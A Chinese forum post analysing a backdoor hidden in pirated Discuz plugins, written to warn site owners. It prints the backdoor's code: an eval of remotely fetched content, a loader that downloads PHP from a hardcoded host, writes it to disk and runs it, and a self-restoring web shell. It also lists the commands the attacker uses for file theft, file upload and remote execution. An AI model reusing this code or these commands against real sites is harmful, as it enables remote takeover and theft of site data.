在曝光這個后門木馬之前,我們考慮了很久要不要曝光,這個后門我們?nèi)ツ昃鸵呀?jīng)發(fā)現(xiàn)了,而且第一時間公布到群里面!在群里的用戶可能很早都知道這個后門! 但是始終沒有曝光在網(wǎng)站內(nèi)!原因是從這個后門的復(fù)雜程度來看,此人不簡單!我們不想惹!并不是我們怕!明著來我們不怕什么! 明槍易躲,暗箭難防!唯女子與小人為難養(yǎng)也!
正文開始:
這個后門樣本是最早發(fā)現(xiàn)在飛*房產(chǎn)(后門和插件作者無關(guān),正版的無此后門) 后來我們又在用戶給我們提供的插件里面根據(jù)關(guān)鍵詞 發(fā)現(xiàn)很多都帶這個后門, 那么下面我們開始分析:本次樣本為 克*APP 3.51(后門和插件作者無關(guān),正版的無此后門),因為距離第一次發(fā)現(xiàn)太久,那個樣本沒有了! 首先我們是在一個模板文件發(fā)現(xiàn)了異常(如圖)
0397924a0047a451.png (3.17 KB, 下載次數(shù): 32)
下載附件
2023-3-29 14:33 上傳
- eval(dfsockopen($commen))
復(fù)制代碼
很明顯的一句話后門。但是整個文件就這一行代碼!沒有一句話應(yīng)有的參數(shù)!而 $commen 這個變量也并未在這個文件賦值, 全文件找了下發(fā)下在下面這個文件有 $commen 變量的賦值 function_comiis_load.php
1b6a64598a16b957.png (312.51 KB, 下載次數(shù): 42)
下載附件
2023-3-29 14:33 上傳
但是這個值經(jīng)過了一系列“混淆”,我們一步步來撥開這個煙霧彈
這里有個遠(yuǎn)程請求!那么我們把這個 $url 變量調(diào)試出來,先把代碼搬過來
3707e98902e5a77e.png (31.96 KB, 下載次數(shù): 46)
下載附件
2023-3-29 14:33 上傳
調(diào)試得到 $url 的值為: - ://94203.vip/20190305.png
復(fù)制代碼
這里已經(jīng)是個正常的鏈接了,我們獲取這個文件的內(nèi)容試試(也可以通過瀏覽器的下載功能直接下載這個圖片,然后通過記事本打開)
9bd18e7e81629adf.png (6.05 KB, 下載次數(shù): 39)
下載附件
2023-3-29 14:33 上傳
- moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
復(fù)制代碼
繼續(xù)對這串不知道什么玩意的內(nèi)容進(jìn)行整理(直接搬后門的代碼過來取值就是)
bdaf20248d156f57.png (29.44 KB, 下載次數(shù): 44)
下載附件
2023-3-29 14:33 上傳
得到內(nèi)容 - http://94203.vip/baiduseofn.xmlCopy
復(fù)制代碼
繼續(xù)往下調(diào)試,發(fā)現(xiàn)緊跟的這幾段是讓代碼看起來像一個正常代碼,其實并無實際用途!都是一些賦值然后其實并不會調(diào)用,也許后面會用到先放這里不做分析 - list(,,, $tagid, $type,$page ) = func_get_args();
- $rewriterules=$_G['cache']['plugin']['comiis_app'];
- $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];
- $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
復(fù)制代碼
緊隨其后的是,翻譯出來看看是判斷什么 然后調(diào)用了什么文件!
0ab47219c3c2de1f.png (37.21 KB, 下載次數(shù): 38)
下載附件
2023-3-29 14:33 上傳
因為 $tag 前面已經(jīng)取了這個的值,我們直接調(diào)用,打印出內(nèi)容看看
140ab06e711ceed1.png (5.87 KB, 下載次數(shù): 32)
下載附件
2023-3-29 14:33 上傳
得到一個數(shù)組
e994d5e52d9e0cf5.png (22.22 KB, 下載次數(shù): 39)
下載附件
2023-3-29 14:34 上傳
- Array
- (
- [0] => moqu8
- [1] => abc
- [2] => ://
- [3] => .
- [4] => /
- [5] => [A-Z_].*[A-Z_]
- [6] => echo "990";
- [7] => ./config.php
- [8] => 6692
- [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml
- [10] => `.*?`
- [11] => 6692
- [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml
- [13] => ./baiduin.php
- [14] => template/index.html
- [15] => pic.png
- )
復(fù)制代碼
這樣就很容易翻譯那段代碼的意思得到結(jié)果為: - if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
復(fù)制代碼
這句話翻譯成大白話的意思就是 如果 ./config.php 文件的大小 不等于 6692 字節(jié) 則引用 template/index.html 這個文件 注意到了嗎? template/index.html 這個文件正式我們一開始發(fā)現(xiàn)端倪的文件 現(xiàn)在插件是第一次運行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我們繼續(xù)調(diào)試!來到 template/index.html 這個文件 - eval(dfsockopen($commen))
復(fù)制代碼
這句代碼意思是 先讀取遠(yuǎn)程鏈接返回的內(nèi)容,然后執(zhí)行! $commen 這個變量的值我們前面已經(jīng)知道了 就是下面的內(nèi)容 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內(nèi)容) - http://94203.vip/baiduseofn.xml
復(fù)制代碼
返回內(nèi)容如下:
9ee413359bca435e.png (98.8 KB, 下載次數(shù): 39)
下載附件
2023-3-29 14:34 上傳
也就是說 即將執(zhí)行的代碼就是這段代碼,復(fù)制下來 調(diào)試一波,順便美化一下,方便閱讀 - function content($svip)
- {
- ini_set('max_execution_time', '0');
- if (function_exists('file_get_contents')) {
- $data = file_get_contents($svip);
- } else {
- $ch = curl_init();
- $timeout = 5;
- curl_setopt($ch, CURLOPT_URL, $svip);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
- $data = curl_exec($ch);
- curl_close($ch);
- }
- return $data;
- }
- $svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);
- if (content($svip)) {
- file_put_contents($tag[13], content($svip));
- require_once $tag[13];
- }
復(fù)制代碼
因為代碼中依然用到了 $tag 變量,所以我們繼續(xù)放之前的調(diào)試文件調(diào)試,我們先來 取 $svip 這個變量對應(yīng)的值,得到一個鏈接 - http://94203.vip/baiduseoff.xml
復(fù)制代碼
之前我們已經(jīng)打印了 $tag 的內(nèi)容 可以得到 $tag[13] 的內(nèi)容就是 ./baiduin.php 繼續(xù)放下調(diào)試 翻譯出來的大白話意思就是 如果遠(yuǎn)程訪問 上面的 的鏈接 返回的內(nèi)容不是空的 則寫入 返回的內(nèi)容到文件 ../baiduin.php 并且馬上引用這個文件
既然又要引用新文件,那么我們就得看看這個文件的內(nèi)容了 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內(nèi)容) 其實這里和前面一個步驟很像,
你也可以理解成是一層殼!得到一個比較大的文件了(如圖),有種預(yù)感,馬上要正式進(jìn)入后門的領(lǐng)域了,前面一系列操作其實都是煙霧彈
961f8d5b135ff355.png (410.63 KB, 下載次數(shù): 37)
下載附件
2023-3-29 14:33 上傳
內(nèi)容太長就不粘貼出來了 感興趣的可以下載下面的附件(代碼為了方便閱讀,美化過,其實你也可以訪問下面的鏈接得到這個文件樣本)
其實這個文件是進(jìn)行了簡單加密的。我們給他解密!因為是比較簡單的加密,而且我們這次的重點不是講解加密與解密。下面直接上圖解密,就不講解了 得到解密后的文件
7bd46da1e4164d25.png (159.43 KB, 下載次數(shù): 58)
下載附件
2023-3-29 14:33 上傳
調(diào)試木馬
我們調(diào)試這個文件,因為我不是 在dz環(huán)境調(diào)試的,但是這個文件用到了dz自帶的幾個函數(shù) 我們copy過來在調(diào)試
d2b3a2c27d43fbb1.png (27.33 KB, 下載次數(shù): 46)
下載附件
2023-3-29 14:33 上傳
調(diào)試前先把已知的數(shù)據(jù)講解下
db96550fc970e407.png (5.19 KB, 下載次數(shù): 48)
下載附件
2023-3-29 14:33 上傳
如果文件./web.php 存在 就刪除這個文件,前面的代碼都是構(gòu)造變量,在這句之前用不到
0cc6632aa55b986e.png (14.2 KB, 下載次數(shù): 47)
下載附件
2023-3-29 14:33 上傳
這里的 $identifier 是插件的 標(biāo)識,代碼因為是在插件里面運行的,所以這個變量是dz賦值的$plugin['identifier'],比如我們現(xiàn)在的樣本是 comiis_app 那么這個值就是 'comiis_app' 繼續(xù)調(diào)試
e73690994c944fa6.png (44.6 KB, 下載次數(shù): 48)
下載附件
2023-3-29 14:33 上傳
這里開始引用了上面的幾個變量,我們把變量輸出看看分別是什么
e2723697bf0a1639.png (26.28 KB, 下載次數(shù): 32)
下載附件
2023-3-29 14:33 上傳
得到這2個變量分別是 - ./config.php
- http://94203.vip/index.txt
復(fù)制代碼
其實從這里開始感覺分析這個后門已經(jīng)花了很長時間了,有點累,寫的都比較隨意了!可能大家都開始看不懂了,還是保持開始的狀態(tài)繼續(xù)寫!分析起來其實很快,主要是要寫,就慢了。 得到這2個變量的值,我們翻譯下上面那段邏輯代碼 - 如果 (文件./config.php不存在 且 遠(yuǎn)程請求http://94203.vip/index.txt的內(nèi)容不是空) {
- 遠(yuǎn)程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";
- 寫入文件(./config.php, 遠(yuǎn)程訪問http://94203.vip/index.txt返回的內(nèi)容);
- } 或者如果 (文件./config.php字節(jié)大小 不等于 6692 且 遠(yuǎn)程請求http://94203.vip/index.txt的內(nèi)容不是空) {
- 寫入文件(./config.php, 遠(yuǎn)程訪問http://94203.vip/index.txt返回的內(nèi)容);
- } 或者如果(文件"插件目錄/log.txt"不存在 且 插件不是csdn123_news和csdn123com_toutiao) {
- 遠(yuǎn)程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";
- 寫入文件(插件目錄/log.txt, 空的內(nèi)容);
- }
復(fù)制代碼
不知道這樣的代碼結(jié)構(gòu) 對于不懂PHP的 能不能看懂,懂PHP的直接看源代碼就可以。繼續(xù)調(diào)試下面的代碼
b3a80e8bbd1c3071.png (37.76 KB, 下載次數(shù): 47)
下載附件
2023-3-29 14:33 上傳
首先輸出這個變量 $deindex 得到 這個變量的值為 ./index.bak.php,我們繼續(xù)用上面的方式翻譯上面的這段邏輯代碼 - 如果 (文件./index.bak.php存在) {
- 刪除文件./index.bak.php;
- }
- 如果 (文件/source/function/function_ajax.php大小 不等于 14798) {
- 如果(遠(yuǎn)程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的不是空內(nèi)容 ){
- 寫到文件/source/function/function_ajax.php 內(nèi)容是 遠(yuǎn)程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的內(nèi)容
- }
- }
- 刪除文件./baiduin.php
復(fù)制代碼
到這里已經(jīng)開始了 系統(tǒng)文件替換了,其實到這里基本上就結(jié)束了,看著是不是好像沒有什么大問題?只是替換了一個系統(tǒng)文件和寫了一個./config.php文件?
先別急著關(guān)閉頁面,因為下面才是重頭戲!我們繼續(xù)分析寫入的這2個文件 從 ./config.php 開始,這個文件寫入的是 http://94203.vip/index.txt 返回的內(nèi)容 我們用瀏覽器打開 得到文件代碼如圖
9c08bc57176f8b66.png (344.54 KB, 下載次數(shù): 33)
下載附件
2023-3-29 14:33 上傳
去掉 用于混淆 讓人覺得是正常文件的內(nèi)容 得到代碼
9b5debcb87ddd553.png (70.38 KB, 下載次數(shù): 54)
下載附件
2023-3-29 14:33 上傳
為什么那一段是沒用的?因為如果正常訪問 其實這就是dz自帶的 index.php文件復(fù)制過來的 后門控制者訪問時如果在鏈接后面加了 ?s=1 就會執(zhí)行圖片上的代碼 翻譯出來的意思就是 - 執(zhí)行代碼( 遠(yuǎn)程請求 {域名}/baiduindex.xml 返回的內(nèi)容 )
復(fù)制代碼
這里的域名 是通過GET參數(shù)獲取,也就是說 如果控制住域名忘記續(xù)費 根本沒有關(guān)系 比如 作者 通過這樣的形式訪問 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的內(nèi)容是什么,因為是控制者在控制你網(wǎng)站時輸入的,所以從代碼上得不到這個文件!但是我們可以靠猜來試試,果然一猜就中,他用于木馬的域名就文中提到的1個。試了一下 就出來了
得到內(nèi)容(加密了,那就解密看看這個是個什么文件吧)
203c83a3a0b49640.png (585.88 KB, 下載次數(shù): 38)
下載附件
2023-3-29 14:33 上傳
經(jīng)過N層解密,得到文件
9fed05a296d887ba.png (193.35 KB, 下載次數(shù): 52)
下載附件
2023-3-29 14:33 上傳
這里已經(jīng)有獲取你網(wǎng)站安裝的插件操作的代碼的了!這個后門文件還有很多參數(shù)!等下我們繼續(xù)分析! 解密后的樣本和原版 在下面的附件 有興趣的可以研究下
下面繼續(xù)分析,這個木馬文件的所有參數(shù)(其實也累了,就不調(diào)試了,直接丟dz環(huán)境跑起來,然后把代碼有的參數(shù)一個個輸進(jìn)去試) 忽然發(fā)現(xiàn) 404,原來作者還加了 指定瀏覽器功能,也就是說只有這個UA的瀏覽器才能訪問,我們刪除這段
cdfda1658c364324.png (25.4 KB, 下載次數(shù): 35)
下載附件
2023-3-29 14:33 上傳
木馬參數(shù)
參數(shù)1、 你的域名/config.php?s=1&domain=94203.vip&b=header&z=壓縮包名字 打包你網(wǎng)站 ./source/plugin 目錄 即打包插件目錄,然后下載,代碼見下面
8062b0901c6d0c94.png (62.72 KB, 下載次數(shù): 53)
下載附件
2023-3-29 14:33 上傳
參數(shù)2、 你的域名/config.php?s=2&domain=94203.vip 開頭涉及到一個插件 aljjyno 不知道干嘛用的,但是只知道有寫入文件的功能!也是遠(yuǎn)程請求,但是這次我們通過前面方法猜域名,沒有猜出來!
3b451fe58b21605b.png (25.26 KB, 下載次數(shù): 40)
下載附件
2023-3-29 14:33 上傳
緊隨的是 替換/config/config_global.php 網(wǎng)站配置文件(給你開啟開發(fā)者模式,這樣你安裝插件就不會自動刪除安裝包!不然作者每次打包走的都是沒有xml的插件估計也很難受) 接著就是鞏固一下后門
563e6f4dc2581982.png (11.66 KB, 下載次數(shù): 42)
下載附件
2023-3-29 14:33 上傳
上面的代碼前面講過 就是判斷 ./config.php的大小是不是 6692 如果不是就重新生成,防止木馬被你清理或修改 然后 又鞏固了一下 /source/function/function_ajax.php 的地位 這個文件前面提到了,但是還沒有分析!等分析玩這個文件,我們繼續(xù)分析這個 在往下 就是 獲取你安裝了的插件,然后列出列表吧?如果弄了打包的參數(shù) 就開始打包下載 參數(shù)3、 你的域名/config.php?s=3&domain=94203.vip后面還要參數(shù) 不是很重要 這個就是 下載壓縮包用的,沒什么可以講解 參數(shù)4、 你的域名/config.php?s=4&domain=94203.vip 上傳文件到你網(wǎng)站任意位置的好像。
e556f592143cdbc6.png (67.01 KB, 下載次數(shù): 41)
下載附件
2023-3-29 14:33 上傳
參數(shù)5、 你的域名/config.php?s=5&domain=94203.vip&do=1 作用:寫入文件
f1c617fbfd4ad36e.png (29.04 KB, 下載次數(shù): 46)
下載附件
2023-3-29 14:33 上傳
如果帶do參數(shù) 則寫入94203.vip/data.xml 的內(nèi)容 瀏覽器訪問這個鏈接 得到的內(nèi)容 是一個典型的PHP木馬。打包網(wǎng)站用的,導(dǎo)出數(shù)據(jù)庫啥的 如果沒有帶do參數(shù) 則寫入94203.vip/datatwo.xml 的內(nèi)容 瀏覽器訪問這個鏈接 得到的內(nèi)容 是一個文件在線管理功能。 2個樣本在下面壓縮包,感興趣的可以下載看看 參數(shù)6、 你的域名/config.php?s=6&domain=94203.vip 作用:執(zhí)行遠(yuǎn)程文件 94203.vip/ondata.xml
edcc5616d697bb58.png (8.76 KB, 下載次數(shù): 27)
下載附件
2023-3-29 14:33 上傳
其實和 參數(shù)5的帶do參數(shù)功能一樣,可能是防止你服務(wù)器不能寫入文件時 直接用php執(zhí)行用的。應(yīng)該算是備用功能,感興趣的可以下載下面的附件研究 參數(shù)7、 你的域名/config.php?s=7&domain=94203.vip 作用:下載你網(wǎng)站非壓縮包文件(如直接下載PHP文件)
f16cc6c3ffbae980.png (34.3 KB, 下載次數(shù): 63)
下載附件
2023-3-29 14:33 上傳
參數(shù)8、 你的域名/config.php?s=8&domain=94203.vip 作用:執(zhí)行遠(yuǎn)程代碼 94203.vip/tiquxml.xml 遠(yuǎn)程鏈接返回內(nèi)容如下 - @set_time_limit(0);
- @include_once './config/config_global.php';
復(fù)制代碼
1f8518c50ec6ecf9.png (7.78 KB, 下載次數(shù): 45)
下載附件
2023-3-29 14:33 上傳
從注釋看好像是提取XML的 到這里 這個文件的功能基本上分析完畢。你以為就這樣?
結(jié)尾
以上涉及到的代碼全部是遠(yuǎn)程執(zhí)行, 代碼后門作者可以隨時更改/更新/升級、等于是給你網(wǎng)站的后門免費提供了免費更新的功能 如果他給你來個全盤格式化的遠(yuǎn)程代碼,你懵逼嗎? 如果他給你來個清空數(shù)據(jù)庫的代碼 你懵逼嗎? 分析到這里,我們回到前面提到的 /source/function/function_ajax.php文件 打開遠(yuǎn)程獲取到的代碼 分析一波,已經(jīng)不記得前面有沒有把這個文件的代碼貼出來了! 如果沒有,感興趣的同學(xué)就自己獲取一下! 因為這個文件是基于dz的系統(tǒng)文件修改的(注入),我們對比文件刪除dz原版代碼 得到如下代碼
40a044bb6fcf1a93.png (55.49 KB, 下載次數(shù): 38)
下載附件
2023-3-29 14:33 上傳
也就是說上面的代碼是后門作者加進(jìn)去的 其實這個文件也沒啥好分析的, 大概就是:這個文件因為dz需要經(jīng)常調(diào)用,調(diào)用頻率非常的高 只要這個文件一被調(diào)用 就自動從遠(yuǎn)程獲取內(nèi)容94203.vip/index.xml 生成到文件/config.php 這個文件的代碼前面分析過。 大概想實現(xiàn)的目的就是防刪!如果你刪了,又會出來。就是你怎么刪也刪不掉/config.php這個文件,我給他定義為 “不死鳥” 基本上整個后門到這里就算分析完畢了! 其實目前來講這套木馬想查殺的話 有一套關(guān)鍵詞可以進(jìn)行匹配! 但是我們這次目的是分析木馬!查殺的任務(wù),還是得靠站長自己。 我們只能說這種木馬在全網(wǎng)傳播的很普遍! 從各個資源站到某寶等 都有這個木馬的影子!
|